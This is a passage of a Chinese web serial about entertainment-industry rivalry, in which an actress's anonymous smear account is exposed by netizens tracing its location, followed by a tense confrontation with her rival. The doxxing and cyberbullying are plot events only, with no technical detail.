“笑死爸爸了,温栩栩那张脸难道不配黎氏签约吗?!他们就不能是看上我们栩栩的美貌吗!”粉丝的发言带着戏谑的怒火,配图是温栩栩参加星黛儿走秀时候的图,她身披银纱,眼波流转间仿佛星河坠落,下颌线条如刀锋般凌厉,却又不失柔美。 这张脸,足以让任何经纪公司趋之若鹜。 “坦白来讲黎氏护着温栩栩也是利益关系。温栩栩这张脸一定会火的啊,按照温栩栩现在的热度和实力,她以后绝对会是顶流预备役。未来需要给黎氏打工,算是板上钉钉的艺人。黎氏不护着温栩栩护着谁去?把摇钱树往外推,谁会不喜欢摇钱树啊!反正如果我有摇钱树我肯定把人供起来!”这条微博被迅速转发,理性分析逐渐压过了无端的揣测。 但粉丝们显然不甘于“利益关系”这般冰冷的解释。CP粉们早已嗅到了糖的味道: “嘤,楼上干嘛说的那么详细!我还想磕一下我们美强宋律师对栩栩大美人一见钟情所以为她出面呢!” 这发言瞬间引爆了话题。粉丝们开始剪辑宋律师与温栩栩同框的片段,法庭上,宋律师目光如炬,气场全开。而温栩栩则眉眼弯弯,笑意盈盈。两人站在一起,仿佛天生就该出现在同一帧画面里。 CP超话“宋温宋温”迅速冲上热搜,粉丝们的脑洞大开,产出了无数同人文和同人图。 “啊这……楼上这个我想磕……” 粉丝们开始玩梗,将温栩栩P成西装革履的总裁,而宋律师则化作娇羞的小白花。 这些图片在微博疯传,评论区里充满了“哈哈哈哈”和“kswl”的尖叫。 然而,当粉丝们沉浸在磕CP的快乐中时,一场更精彩的“猎巫行动”正在悄然上演。 正如温栩栩所料,那些闲得发慌的“技术大神”们迅速出手,擦除了截图中的打码,并锁定了微博小号的IP地址。 当定位结果公布的那一刻,微博再次沸腾,手机所在地址赫然就是苏婉的酒店地址所在地。 “这小号要不是苏婉我直播啃键盘!”网友的这条评论迅速被顶上了热门评论。 而事实,远比毒誓更令人咋舌。 苏婉的微博小号被扒了个底朝天,她不仅点赞了一堆骂温栩栩的评论,更疯狂点赞夸自己的彩虹屁。 苏婉的小号岂止有这些,还点赞了合作女演员的黑料丑闻以及合作男演员的黑料,总之苏婉就没有闲着的时候,合作过的对象全被她在小号上黑了一遍,甚至因为有个合作女演员太漂亮,苏婉还发微博吐槽对方是狐狸精背后肯定有金主,这些言论被翻出来,苏婉瞬间就又一次上了热搜,被人疯狂辱骂。 拜托,谁还没有粉丝了!你一个三线女艺人骂谁啊! 第1249章 真相 网络的风暴从未如此猛烈地席卷过一个明星的生涯。 当“百事佳”在微博评论区留下那句“这还有的洗吗,除了苏婉还能是谁?”时,一场关于人设、真相与粉丝文化的舆论海啸,正式拉开帷幕。 营销号带节奏,放出温栩栩“耍大牌”“私生活混乱”“勾心斗角”的“猛料”,配图是模糊的夜店照片和断章取义的聊天截图。 一时间,温栩栩被推上风口浪尖,粉丝群情激愤,路人也纷纷侧目。 而苏婉的粉丝则暗中推波助澜,甚至有大粉在超话里暗示:“某些人红了就飘,迟早要栽。” 然而,事情的转折来得猝不及防。 一位网名为“小玲珑”的用户突然发声:“这姐是真棒,凉凉吧凉凉吧。”语气讥讽,却并未指名道姓。 紧接着,更多路人和温栩栩粉丝开始冷嘲热讽,矛头直指苏婉。 理由很简单,这些“黑料”的发布时间、攻击重点、甚至用词习惯,都与苏婉团队过往的操作如出一辙。 更关键的是,有技术大神通过IP追踪和数据比对,发现多个攻击温栩栩的营销号,其背后资金流向竟与苏婉工作室的外围公关公司存在隐秘关联。 苏婉粉丝自然不肯认输。 后援会迅速组织“洗地”行动,大粉更是杜撰出一个“虚构粉丝”,声称是“某个极端粉丝为了维护苏婉才做了这蠢事”,试图上演一场“粉丝背锅”的戏码。 弯弯月亮会在超话发帖:“这就是我们苏婉的一个粉丝!粉丝做的事跟苏婉有什么关系!”言辞铿锵,仿佛在捍卫偶像的清白。 可温栩栩粉丝早已怒不可遏。“猫咪月”怒斥:“合着温栩栩被你们家黑的时候,你们家到处跳脚,各种恶臭言论乱喷,现在爆出你们粉丝黑我们家妹妹,不仅不道歉还这么嚣张!给你们脸了啊!” 评论区瞬间被“撸袖子干架”的表情包刷屏,一场大规模的网络论战一触即发。 就在此时,那位曾擦除马赛克、精准定位苏婉小号信息的“技术大神”再度现身。 他没有多言,只甩出一张截图,配了两个字:“不谢”。 全网屏息。 苏婉粉丝以为是锤温栩栩的“反转证据”,激动地点击打开,温栩栩粉丝则满怀期待,以为终于等到了“实锤”。 可当图片清晰呈现时,所有人沉默了。 那是一张地图定位截图。 是苏婉的微博大号最近一次发布的定位:帝城朝阳区某酒店房间号,是真的精准到号了。 右侧,是那个曾向营销号发送“请黑温栩栩,用最恶毒语言咒骂她滚出娱乐圈”消息的小号定位,完全重合,甚至没有挪动过位置。 时间戳显示,两条动态的发布间隔不足十分钟。 证据确凿。 那个口口声声“希望温栩栩滚出娱乐圈”的小号,那个用最肮脏语言攻击对手的账号,其物理位置与苏婉大号完全一致。 这意味着,要么是苏婉本人操作,要么是她身边最亲近的人在替她执行。无论哪种,都足以证明这场针对温栩栩的网络暴力,主谋正是苏婉或其核心团队。 更令人震惊的是,大神随后又放出更多数据,该小号不仅频繁点赞娱乐圈“姐妹”的黑料热搜,还曾在温栩栩刚凭借新剧小有名气时,就悄悄关注了多个黑料账号,并搜索“温栩栩 黑料 合集”。这说明,苏婉对温栩栩的敌意,并非临时起意,而是早有预谋。 “这不是粉丝行为,这是主谋行为。” “表面大大咧咧无害女神,背地里点赞别人黑料,真·毒蛇。” “求锤得锤,现在还有什么好洗的?” 网络舆论瞬间反转。曾经为苏婉辩护的粉丝纷纷沉默,部分理智粉开始脱粉:“我们喜欢的是那个阳光善良的苏婉,不是这个阴暗算计的演员。” 据不完全统计,事件爆发后4时内,苏婉微博粉丝流失近半,其中不乏多年老粉。 留下的,多是自她出道起便死忠追随的“铁粉”,仍在超话里倔强地刷着“姐姐清白”“我们不信”。 而温栩栩粉丝则彻底扬眉吐气。“我们家妹妹从没主动惹过谁,却被这样恶意中伤,现在真相大白,看谁还敢乱黑!”有人甚至制作了“苏婉黑料时间线”长图,在社交平台疯传。 与此同时,这场席卷全网的舆论风暴,也悄然波及到了一位意想不到的“无辜者”,李英杰,一位在商界小有名气的投资人,平日里低调务实,从不涉足娱乐圈是非。 然而,就因为他曾出现在一张与温栩栩同框的饭局照片中,被某个嗅觉敏锐的营销号捕风捉影,硬生生将他塑造成“温栩栩秘密男友”,甚至配文:“神秘李总豪掷千万为女神铺路,疑似恋情曝光?” 热搜一挂,李英杰瞬间被推上风口浪尖。 他本人正在外地出差,手机一打开,满屏都是“李总恋情”“温栩栩新恋情坐实”“富豪为爱砸钱”等词条,吓得冷汗直冒。 他跟温栩栩压根儿就不熟,那次饭局只是朋友聚会,他甚至只是远远打了个招呼,连话都没说上几句。 可网络不管这些,舆论的雪球一旦滚起来,就再也停不下来。 “完了完了,这要是被公司股东看到,还以为我公款追星!”李英杰一边嘟囔,一边手忙脚乱打开微博,迅速编辑了一条澄清声明: 这条微博一发,网友先是一愣,随即爆笑如雷。 “这道歉姿态也太怂了!” “李总:我只是个追星的普通人,求放过!” 尽管语气谦卑到近乎“卑微”,但公众对他的恶意却并未升级,反而因这份“老实人式”的慌乱澄清,赢得了不少好感。 大家纷纷调侃:“李总别怕,我们不黑你,我们只黑那个真正在背后搞小动作的人。” 而这条澄清,也像一把无形的推手,将舆论的焦点彻底从温栩栩身上移开,再次聚焦回事件的真正源头,苏婉。 第1250章 毒蛇 就在李英杰澄清的同一时间,温栩栩的“黑热搜”已经开始迅速下滑。 那些曾经铺天盖地的“耍大牌”“私生活混乱”等词条,被大量“苏婉实锤”“苏婉小号定位曝光”“苏婉人设崩塌”等新热搜取而代之。 技术大神的那张定位截图被疯狂转发,评论区一片“真相了”“早该翻车了”“原来真凶是她”的声浪。 更让苏婉措手不及的是,她苦心经营多年的“清纯女神”人设,在一夜之间土崩瓦解。曾经为她摇旗呐喊的粉丝,开始大规模脱粉。据不完全统计,短短两天内,她的微博粉丝掉了近半,取关潮来得迅猛而无情。 更讽刺的是,许多脱粉的粉丝,竟直接“转生”成了温栩栩的粉丝。 “以前觉得苏婉清纯,现在看全是算计。” “温栩栩被黑成那样都没反击,默默做事,这才是真女神。” “苏婉的粉丝还在洗,我们不陪了。” #苏婉半数粉丝转投温栩栩# 甚至一度登上热搜,成为这场舆论战中最刺眼的注脚。 苏婉不仅丢了粉丝,更彻底丢了路人缘。 曾经的“国民妹妹”,如今成了“心机毒蛇”“双面人”的代名词。 品牌方沉默,综艺邀约被悄悄取消,连她正在拍摄的新剧,都传出可能换角的风声。 而苏婉本人,早已陷入前所未有的恐慌。 她躲在家中,切着小号,试图打探外界风声。 可刚一登录,私信界面便如潮水般涌来无数辱骂: 苏婉的手指颤抖着,一条条看下去,眼眶逐渐发红,胸口剧烈起伏。她明明已经足够小心用小号、换IP、通过中间人联系营销号……可为什么还是被挖出来了?她百思不得其解。 “不可能……我做得那么隐蔽,怎么可能被发现?”她喃喃自语,指甲深深掐进掌心。 更让她心碎的是,那些曾经在她超话里喊“姐姐最美”“永远支持你”的“真爱粉”,如今也纷纷私信咒骂: 有一条私信写道:“你不是说粉丝行为与你无关吗?现在怎么不说了?你才是那个最恶毒的粉丝头子!” 苏婉看着这条消息,眼泪终于夺眶而出。 从小到大,她都是被捧在掌心的“小公主”,家境优渥,出道即巅峰,从未受过如此羞辱。 她以为自己只是“正当防卫”,只是“保护自己”,可现实却狠狠扇了她一记耳光。 她不仅没保护住自己,反而把自己推入了万劫不复的深渊。 “为什么?明明该被骂的是温栩栩……明明她才该承受这一切!”苏婉咬着牙,声音颤抖,眼中闪过一丝不甘与怨毒。 她不明白,自己只是想守住一点光芒,为什么就成了众矢之的? 她更不明白,温栩栩明明什么都没做,却能赢得所有人的同情与支持。 可现实不会给她答案。 剧组里,气氛早已变得诡异。她一进组,原本热闹的片场瞬间安静。她能清晰地听见工作人员压低声音的议论: “来了来了,毒蛇来了。” “听说她连自己粉丝都骗,让大粉背锅。” “啧,看着挺清纯,背地里点赞别人黑料,真恶心。” “要不是看在片酬的份上,谁愿意跟她搭戏?” 这些话语像一根根针,扎进她的耳膜,刺进她的心脏。她试图保持镇定,可手指却止不住地发抖。 “你们是不是都知道苏婉那事儿了?” 一声轻飘飘的问话,像一把锋利的刀,划破了剧组清晨的宁静。 说话的是个女演员,三十出头,妆容精致,嘴角挂着一抹似有若无的冷笑,眼神里却满是讥讽与不屑。 她斜倚在走廊的栏杆上,指尖夹着一支未点燃的烟,语气轻慢,仿佛在谈论一个早已被钉在耻辱柱上的陌生人。 “谁还能不知道?”一个卷发浓密、五官凌厉的女生立刻接话,声音尖锐得像玻璃划过金属,“表面上跟我们称姐道妹,转过身就狂点我们黑料热搜,点赞那些骂我们的通稿,甚至亲自下场用小号咒骂……指不定在心里怎么骂我们是好糊弄的蠢货呢!” 她冷笑连连,眼神扫过周围一圈人,像是在确认有没有人敢为苏婉说话。 没人开口。空气凝滞,沉默本身就是最有力的表态。 “最惨的还是谈安安了。”卷发女顿了顿,语气里竟带上一丝罕见的怜悯,“她把苏婉当亲姐妹,整天护着她,谁说苏婉一句不是,她都要冲上去撕人,连导演组说话她都敢顶。可你猜怎么着?苏婉压根没把她当人看。我看啊,苏婉就是拿我们当枪使,而谈安安,是那把最好用的枪——指哪儿打哪儿,还心甘情愿。” “当枪使?”一个清冷的声音突然插入。 众人回头,只见谈安安不知何时已站在走廊尽头,脸色惨白如纸,眼神却像淬了冰的刀子,直直刺向说话的人。她一步步走近,高跟鞋敲击地面的声音在寂静的走廊里回荡,像丧钟。 “可别把话说得这么好听了。”她冷笑,声音低哑却极具穿透力,“直说把我当成狗就得了!一条忠心护主、摇尾乞怜、还被主人嫌弃碍事的狗!” 她盯着那卷发女,一字一顿:“我护她,不是因为她值得,是因为我傻。可她呢?她一边收着我的真心,一边在背后点我的黑热搜,甚至……连我替她出头,都成了她操控舆论的工具。” 她顿了顿,眼底泛起一层薄薄的水光,却倔强地不肯落下:“我谈安安这辈子没服过谁,可我真心实意把她当姐妹。现在想想,真是可笑。” 周围一片死寂。有人低头看手机,有人假装整理戏服,没人敢与她对视。 那卷发女张了张嘴,终究没再说话。 就在这时,走廊尽头传来一阵轻微的脚步声。 众人下意识回头。苏婉站在那里。 她穿着一件米白色风衣,头发简单扎成马尾,素面朝天,脸上没有一丝血色。 她本想悄悄进组,避开风头,可没想到,还是撞上了这场关于她的“审判”。 第1251章 你怎么还敢来? 她站在原地,像被钉住一般,耳边嗡嗡作响。那些话,每一个字都像一把锤子,狠狠砸在她心上。 她看见谈安安的眼神。那曾经为她怒目而视、为她冲锋陷阵的眼神,如今只剩下失望与鄙夷。 “苏婉?你怎么还敢来?” 一道冰冷的声音划破空气。 说话的是个长发女演员,业内有名的“冷面花旦”,平日里与苏婉并无交集,此刻却毫不留情地开口:“也是,毕竟背后的靠山是黎少呢。剧组缺了谁也不能缺了你苏婉啊。没你,我们还拍什么戏?是不是得集体失业?” 她语气讥讽至极,眼神像在看一堆垃圾。 剧组内骤然安静下来。 导演还没来,场务、化妆、灯光、群演,所有人都停下了手里的活,目光齐刷刷地投向苏婉。 那一道道视线,像无数根针,密密麻麻扎在她身上。有打探的,有鄙夷的,有嘲讽的,更有幸灾乐祸的。 谈安安站在一旁,冷笑一声,耸了耸肩,仿佛在说:“看,这就是你亲手养大的恶果。” 苏婉站在原地,双腿发软,几乎站不稳。她想开口解释,可喉咙像被堵住,一个字也说不出来。 她眼眶发红,泪水在眼底打转,终于,一滴泪不受控制地滑落,啪嗒一声,砸在水泥地上,溅起微不可见的尘埃。 她不是没哭过。 可这一次,不是委屈,不是不甘,而是被全世界抛弃的孤独。 她从小锦衣玉食,家境优渥,出道即巅峰,一路顺风顺水。她习惯了被追捧,被保护,被包容。她以为,只要她想,就能掌控一切。她以为,只要她否认,就能抹去真相。 可现实狠狠扇了她一记耳光。 她终于明白,人设崩塌的那一刻,所有曾经的光环都会变成枷锁,所有曾经的“姐妹”都会变成利刃。 “她还有脸哭呢?”一个群演小声嘀咕,声音不大,却清晰地传进每个人耳朵里。 “我们都还没哭,她却哭起来了?”另一个女演员嗤笑,“真把自己当公主了?觉得整个世界都该围着她转?呸,不要脸!” “就是,做错事的人是她,受害的是我们,她倒好,眼泪一掉,就想博同情?晚了!” 苏婉再也承受不住。 她抬手捂住嘴,肩膀剧烈颤抖,再也听不下去,转身拔腿就跑。 身后,是此起彼伏的讥嘲与冷笑,像潮水般涌来,将她彻底淹没。 “跑什么?心虚了?” “以为跑就能躲过去?热搜还在呢!” “让她跑,我看她能跑到哪儿去!” 她狂奔出剧组,穿过长长的走廊,推开沉重的铁门,冲进清晨微凉的风里。 她不敢回头,不敢停步,只想离那个地方越远越好。 她不想再拍戏了,她受够了!她再也不想面对那些眼神,那些话语,那些曾经称她为“姐姐”、如今却恨不得她消失的人。 她跑出剧组大门,一直跑到街角才终于停下,双手扶着腰,大口喘气,胸口剧烈起伏。 汗水与泪水混在一起,糊了满脸,发丝凌乱地贴在脸颊上,风衣被风吹得猎猎作响。她狼狈得毫无美感,像一只被逐出族群的孤狼。 她抬头望天,晨光微露,城市刚刚苏醒。 可她的世界,已经彻底黑了。 “为什么……为什么会变成这样?”她喃喃自语,声音沙哑,“我只是……不想被取代。我只是……想守住自己的位置。” 她掏出手机,指尖颤抖地点开微博。热搜榜首,赫然是#苏婉人设崩塌#、#苏婉小号实锤#、#谈安安被当枪使#……每一条都像一把刀,割着她的尊严。 她点开私信,满屏都是辱骂: 她一条条看下去,心一点点沉入谷底。 她不是没做过错事,可她以为,只要不被发现,就等于没发生。 她以为,只要她继续笑,继续演,就能维持那个“清纯女神”的假象。可她忘了,互联网有记忆,人心有感知,谎言终有被戳穿的一天。 她终于明白,她输的,不是手段,不是资源,而是真诚。 她用算计对待真心,用谎言回应信任,用冷漠回报守护。 她以为自己是棋手,可到头来,她才是那个被棋局吞噬的棋子。 “我不甘心……”她咬着牙,眼泪再次涌出,“我苏婉从小到大,什么时候输过?我家里那么有钱,我根本不用来受这种罪!我为什么要在这里,被这些人指指点点,被她们羞辱,被她们审判?” 她猛地站直身体,擦掉眼泪,眼神从绝望转为狠厉。 她像一只被猎人逼到绝境的困兽,眼神慌乱而无措。 清晨的风带着凉意,吹乱了她沾满泪痕与汗水的发丝,贴在脸颊上,狼狈不堪。 她想拦一辆车回家,逃离这个让她尊严尽失的地方,逃离那些讥讽的目光、刺耳的言语,逃离这场她再也无法掌控的噩梦。 可就在这时——她远远看见了那个身影。 温栩栩。 她穿着一件简约的米白色风衣,长发微卷,随风轻扬,步伐从容不迫,仿佛世间纷扰皆与她无关。 她双手插在衣袋里,唇角微微上扬,眼神清亮,步伐轻盈,正不疾不徐地朝着《灵媒》剧组的方向走去。阳光洒在她身上,仿佛为她镀上一层柔和的光晕,连空气都因她的存在而变得通透。 苏婉的视线瞬间凝固。 温栩栩!是温栩栩! 那一瞬间,她心中所有委屈、羞耻、愤怒、不甘,像被点燃的火药桶,轰然炸开。 刚才还在剧组里被众人羞辱的画面,耳边那些“苏婊”“不要脸”“当枪使”的咒骂,此刻全都化作一把把利刃,直指眼前这个女人。 都怪她! 如果不是她,我怎么会落到今天这步田地? 如果不是她,阿笙不会疏远我,粉丝不会脱粉,朋友不会背叛,舆论不会反噬,我更不会像个笑话一样被所有人唾弃! “温栩栩!”苏婉突然尖叫出声,声音尖锐得几乎撕裂空气。 她像一头被激怒的野兽,不顾一切地冲了过去,高跟鞋在水泥地上敲出急促而凌乱的节奏,仿佛每一步都在踩碎自己最后的体面。 第1252章 反击 她冲到温栩栩面前,胸膛剧烈起伏,双眼赤红,满目怒火,死死瞪着眼前这个比她高出近十公分的女人。 温栩栩将近一米七的身高,此刻只是静静地站着,却给苏婉一种居高临下、被逼视的错觉。 她没有后退,没有惊慌,甚至没有多余的表情,只是微微偏头,似笑非笑地望着她,眼神里带着一丝若有若无的怜悯,又像是在看一场早已预料的闹剧。 “温栩栩!”苏婉喘着粗气,声音颤抖,“你满意了?你是不是早就等着这一天?看着我被所有人羞辱,看着我众叛亲离,看着我一无所有?你开心了吗?!” 温栩栩轻轻挑眉,语气平静得近乎温柔:“你这么激动,是想让全剧组的人都出来看热闹吗?” “你少装清高!”苏婉嘶吼,“你装什么无辜?装什么大度?你根本就是个心机深沉的毒蛇!你早就计划好了是不是?从你开始拍戏第一天起,你就想把我踩下去!” 温栩栩终于笑了,那笑容不带温度,却美得令人窒息:“我?计划?苏婉,你是不是太高看我了?还是……太低估你自己了?” 她缓缓上前一步,逼近苏婉,声音压低,却字字清晰:“是你先动的手。” 苏婉一怔。 “是你先在微博点赞黑料,是你先用小号带节奏,是你先挑拨离间,是你先让谈安安当你的枪去撕我。是你,一次次试探我的底线,一次次挑战我的耐心。”温栩栩语气依旧平稳,却像一把钝刀,慢慢割开苏婉的伪装,“我温栩栩,从不主动伤人。但谁伤我一分,我就要让她疼上十分。” 苏婉脸色瞬间惨白,嘴唇颤抖,想反驳,却一个字也说不出来。 她忽然想起,自己确实在小号上点赞过“温栩栩耍大牌”的通稿,她确实暗示过“温栩栩背景不简单”,她确实怂恿谈安安去“教训”那些为温栩栩说话的人……她以为自己藏得很好,以为没人知道,以为温栩栩不过是个孤女,无依无靠,任人拿捏。 可她错了。 错得离谱。 “你……你早就知道了?”苏婉声音发抖,眼神里满是不敢置信。 温栩栩微微一笑,那笑容里没有胜利的得意,只有一种近乎悲悯的冷静:“你以为你藏得很好?你忘了,这世上有一种东西,叫数据痕迹。你点赞的每一条微博,你转发的每一条黑料,你小号的IP地址,你深夜登录的记录……全都清清楚楚地写着你的名字。” 她顿了顿,眼神骤然转冷:“你伤我一分,我就要让你疼上十分。这是你应得的。” 苏婉身体一僵,如遭雷击。 她终于明白,为什么舆论会突然反转,为什么李英杰会“恰好”澄清,为什么她的定位会被曝光,为什么谈安安会彻底倒戈……原来,这一切都不是偶然。 是温栩栩,一步步设局,等她自己走进去。 “你……你疯了……”苏婉声音颤抖,眼神涣散,“你一个孤儿院出身的人,你有什么资格?你有什么资本?你凭什么?!” 温栩栩眼神一寒,终于有了情绪波动。 她缓缓上前一步,动作轻柔地抬手,拍了拍苏婉的肩,那动作温柔语气却冷得像冰:“孤儿院出身? 是,我从小在福利院长大,没有父母,没有背景,没有资源。可那又如何?” 她俯身,凑近苏婉的耳边,声音压得极低,只有两人能听见:“可我有脑子,有尊严,有底线。而你,苏婉,你什么都有,钱、资源、人脉、宠爱,可你却把这一切,用来算计一个孤女。” 她轻轻抚摸着苏婉的发丝,动作温柔,却让苏婉浑身发冷:“你伤我,不是因为我弱,而是因为你怕。你怕我比你优秀,怕我比你真实,怕我比你更值得被爱。所以你必须毁了我。” 苏婉颤抖得像风中的落叶,连发丝都在颤动。 “可你忘了,”温栩栩继续低语,“越是泥泞里长出来的人,越懂得如何在黑暗中生存。越是孤独的人,越懂得如何反击。” 她直起身,居高临下地看着苏婉,眼神冰冷,不带一丝感情,甚至藏着几分讥诮的寒意:“你失去的,是虚名、是粉丝、是朋友。而我失去的,是童年、是家庭、是被爱的权利。可我依然站在这里,而你,已经崩溃了。” 苏婉喉间发堵,想说话,却发不出声音。她想后退,可双脚像被钉住。她想尖叫,可喉咙像被扼住。 她终于明白,眼前这个女人,从来不是她以为的“软柿子”,而是一头蛰伏已久的猎豹,冷静、隐忍、等待时机,一击致命。 “你……你早就计划好了……”她终于挤出一句话,声音沙哑。 温栩栩轻轻一笑,转身准备离开,只留下一句淡淡的话:“不是我计划好了,是你,太蠢了。” 苏婉忽然觉得,自己像个小丑,可笑又可悲。 她低头看着自己的手,那双曾经被无数人追捧、被黎云笙曾经温柔牵过的手,此刻却空空如也。 她没了阿笙,没了朋友,没了粉丝,没了口碑,没了尊严……什么都没了。 而温栩栩,什么都没做,只是活着,就赢了她。 “不……”苏婉喃喃自语,眼泪终于再次涌出,“我不信……我不可能输给你……一个孤儿……一个没人要的孤女……” 空气凝滞,像被无形的丝线缠绕,压得人喘不过气。 夕阳西沉,余晖染红了天际,却照不进这处偏僻的角落。 苏婉站在那里,双手微微颤抖,指尖冰凉,仿佛刚从一场噩梦中惊醒,却又深陷另一场无法挣脱的漩涡。 她的呼吸急促,胸口剧烈起伏,眼神里交织着恐惧、不甘与一丝近乎偏执的倔强。 温栩栩却静静立在她面前,一袭素色长裙被晚风轻轻掀起,发丝拂过她冷白的脸颊。 她嘴角微扬,那笑容看似温柔,却像一把淬了冰的刀,缓缓割开苏婉最后一丝侥幸。 “我只是……小小的伤害你……”苏婉的声音颤抖得几乎不成调,像是在为自己辩解,又像是在说服自己。 第1253章 小小的伤害 温栩栩闻言,忽然笑了。 那笑声清脆,却毫无温度,像冬日里碎裂的冰面,裂开一道道寒意逼人的缝隙。 她缓缓抬眼,眸光如刃,直直刺向苏婉:“小小的伤害?” 她一字一顿:“如果不是因为现在我背后的人是黎云笙,如果我真的只是个普通人,被你这样一次次抹黑、造谣、网暴、排挤……你有没有想过,最后我的结局会是什么?” 她逼近一步,苏婉下意识后退,却被身后的石柱挡住去路。 “我可能会被你逼到精神崩溃,整夜失眠,靠安眠药才能入睡,我可能会被全网辱骂,走在街上被人指指点点;我可能会因为抑郁而退圈,甚至……跳楼自杀。” 温栩栩的声音低沉而缓慢,每一个字都像一把锤子,狠狠砸在苏婉的心上,“这些,就是你说的‘小小的伤害’?” 她的眼神冷冽如霜,仿佛能穿透苏婉的灵魂:“刀划不到你身上,你就不知道疼。你站在高处,穿着光鲜的裙子,拿着资源、捧着剧本,却对别人的痛苦轻描淡写地说一句‘我只是开个玩笑’‘我只是小小惩罚一下’。你凭什么?你有什么资格?” 温栩栩的手猛地收紧,指尖深深掐入掌心,指节泛白。 她不是在演戏,不是在表演愤怒,那是真实的恨意,是被无数次背叛、误解、陷害后积压而成的怒火。 她盯着苏婉,眼底没有一丝温度,只有冰冷的嘲弄与不屑。 “你口中的‘小小伤害’,能毁掉一个人的一辈子。”她声音低哑,却字字如刀,“你毁的不只是我的名声,是我的尊严,是我的生活,是我对这个行业的信仰。而你,却还能站在这里,用那种理所当然的语气,说你只是‘小小伤害’我?” 苏婉的呼吸一滞,脸色瞬间苍白。 她想反驳,想说“我也没做什么”,可话到嘴边,却发现自己竟无从辩驳。 她确实曝光了那些所谓的“黑料”,她确实引导舆论,她确实让温栩栩在圈内举步维艰。 她以为那只是“教训”,是“让她长点记性”,可此刻被温栩栩这样直白地说出来,她才意识到,那根本不是“小惩大诫”,那是谋杀,是用舆论和恶意,一点点将一个人逼向绝境。 可她不甘心。 她咬紧牙关,指甲深深陷入掌心,声音带着颤抖却依旧强硬:“我爆出的那些……也没有错!你确实跟你那个学长不清不白,你们之间的关系,谁看了都觉得暧昧!你都这样了,还要勾引阿笙,我教训你,也是你咎由自取!” 她死死盯着温栩栩,眼神里竟还带着一丝“正义凛然”的错觉:“我做错了什么?我是在保护阿笙!你这样的人,就该被曝光!” 温栩栩听着,忽然又笑了。 那笑容比刚才更冷,更讥讽,像是听到了世上最荒谬的笑话。她微微歪头,眸光如冰刃般扫过苏婉的脸:“你是不是太看得起你自己了?” 她声音陡然凌厉:“你把你自己当什么?活在这世界上,为你独尊的审判者?你要人生就生,要人死就死?苏婉,你脑子是只有米粒大小吗?” 她一步步逼近,苏婉的脊背紧贴石柱,冷汗顺着后背滑落。 “你有什么资格审判我?你查过真相吗?你问过我吗?你只是凭着自己的臆测,凭着你对黎云笙那点扭曲的占有欲,就把我钉在耻辱柱上!”温栩栩的声音低沉而压抑,像暴风雨前的闷雷,“你口口声声说‘勾引’,可你有没有想过,黎云笙是成年人,他有判断力,他选择谁、信任谁,轮得到你来替他做决定?” 她冷笑一声:“你不是在保护他,你是在控制他。你容不下任何靠近他的人,哪怕我只是正常工作、正常交往,你都要把我踩进泥里。你不是爱他,你是病态地占有他。” 苏婉的嘴唇颤抖着,想反驳,却发不出声音。 温栩栩看着她,眼神里没有愤怒,只有一种近乎怜悯的冷漠:“你错了,苏婉。你大错特错。你错的不是针对我,而是你根本不懂爱,爱不是占有,而是尊重。” 苏婉的呼吸越来越急,胸口剧烈起伏。 她本就脆弱的自尊被温栩栩的话一层层剥开,露出底下那点可悲的自卑与执念。 她不甘心,她不服气,她更不愿意承认自己错了。 “你……你少在这里装清高!”她声音颤抖,却带着最后一丝倔强,“你也不过是运气好,现在有黎云笙护着你,否则你早就被娱乐圈吞得骨头都不剩!你凭什么站在这里指责我?你比我好到哪里去?” 温栩栩静静看着她,忽然笑了,那笑容里竟有一丝疲惫。 “所以,你到现在,还是觉得错的是我?”她轻声问,眼神却冷得像雪,“你被嫉妒蒙蔽了双眼,被私欲扭曲了心智,却还要把一切归咎于我‘勾引’、‘不清白’。你从没想过,也许真正不清白的,是你那颗被执念腐蚀的心。” 她缓缓靠近,声音压得极低,像毒蛇吐信,又像死神低语:“既然你先对我出手了,那你记着——只要有我在,我一定不会让你太好过。” 她一字一顿,眼神里是毫不掩饰的杀意:“我会让你尝尝,被全网质疑、被资本抛弃、被曾经的粉丝唾弃的滋味。我会让你在圈内,痛不欲生。” “温栩栩!”苏婉终于崩溃,怒吼出声。 那一声尖叫里,有愤怒,有恐惧,更有被戳穿真相后的羞愤。她再也控制不住自己,抬手就是一耳光,狠狠甩在温栩栩脸上。 “啪——” 清脆的响声在寂静的庭院中炸开,像一道惊雷。 温栩栩的头微微偏了偏,脸颊瞬间红肿,唇角渗出一丝血迹。 她皮肤极白,极嫩,那一巴掌的痕迹清晰得触目惊心。可她没有后退,没有惊慌,只是缓缓抬起头,眸光如冰,眼含讥嘲地望着苏婉。 那眼神,像在看一个可怜虫,一个被自己情绪操控的傀儡。 第1254章 你赔不起 “你终于动手了。”她轻声说,声音平静得可怕,“你不是一直想打我吗?不是一直觉得我该被打吗?现在,你如愿了。” 苏婉的手还在颤抖,脸上却露出一丝快意,可那快意只持续了一瞬,便被巨大的恐慌取代,她看到灌木丛中,一道黑影迅速闪动,紧接着,一声清晰的“咔嚓”声传来。 那一瞬间,苏婉脑子里只有一个想法。 完了。 苏婉扶着冰冷的石墙,指尖几乎要嵌进砖缝里,才勉强支撑住自己摇摇欲坠的身体。 她的呼吸急促而紊乱,胸口剧烈起伏,像被无形的手紧紧扼住喉咙,每一次吸气都带着灼痛。她的视线模糊,眼前一片发黑,耳鸣嗡嗡作响,仿佛整个世界都在旋转、崩塌。 她明白,从她抬手的那一刻起,她就输了。彻彻底底,输给了温栩栩。 温栩栩分明是受伤的那一个。脸颊红肿,唇角渗血,冷白的皮肤上清晰地印着五指红痕,连呼吸都因疼痛而微微颤抖。 可她站得笔直,像一株在风雪中傲然挺立的白梅,冷艳、坚韧,带着一种令人窒息的压迫感。她的眼神没有一丝狼狈,只有深不见底的嘲讽与冷意,像在俯视一只被自己猎杀的困兽。 而苏婉,才是那个真正被撕碎的人。 “你早就知道记者在附近……你是故意的。”苏婉的声音沙哑,带着哭腔,每一个字都像是从喉咙里挤出来的。 她的瞳孔剧烈收缩,终于看清了这场对峙的真相。 温栩栩从一开始就在布局。那些激怒她的话,那些看似脆弱的示弱,那些“我怕疼”的低语,全都是诱饵。 她温栩栩,根本不是被动挨打的受害者,而是精心策划的猎手,而她苏婉,不过是被情绪操控的蠢货,一头撞进了她设好的陷阱。 “你故意激怒我……故意说出那些话,让我失控……故意让记者拍下我打你的画面……”苏婉的牙齿打颤,声音颤抖得几乎不成调,“你从头到尾,都在等这一刻。” 温栩栩没有否认。 她缓缓抬起左手,指尖轻轻抚过肿胀的脸颊,动作轻柔,仿佛在触碰一件易碎的珍宝。 她疼得微微皱眉,忍不住“嘶”了一声,声音里带着一丝委屈,却更像是一种讽刺的表演:“我都跟你说过我怕疼了,你怎么还这么用力呢?” 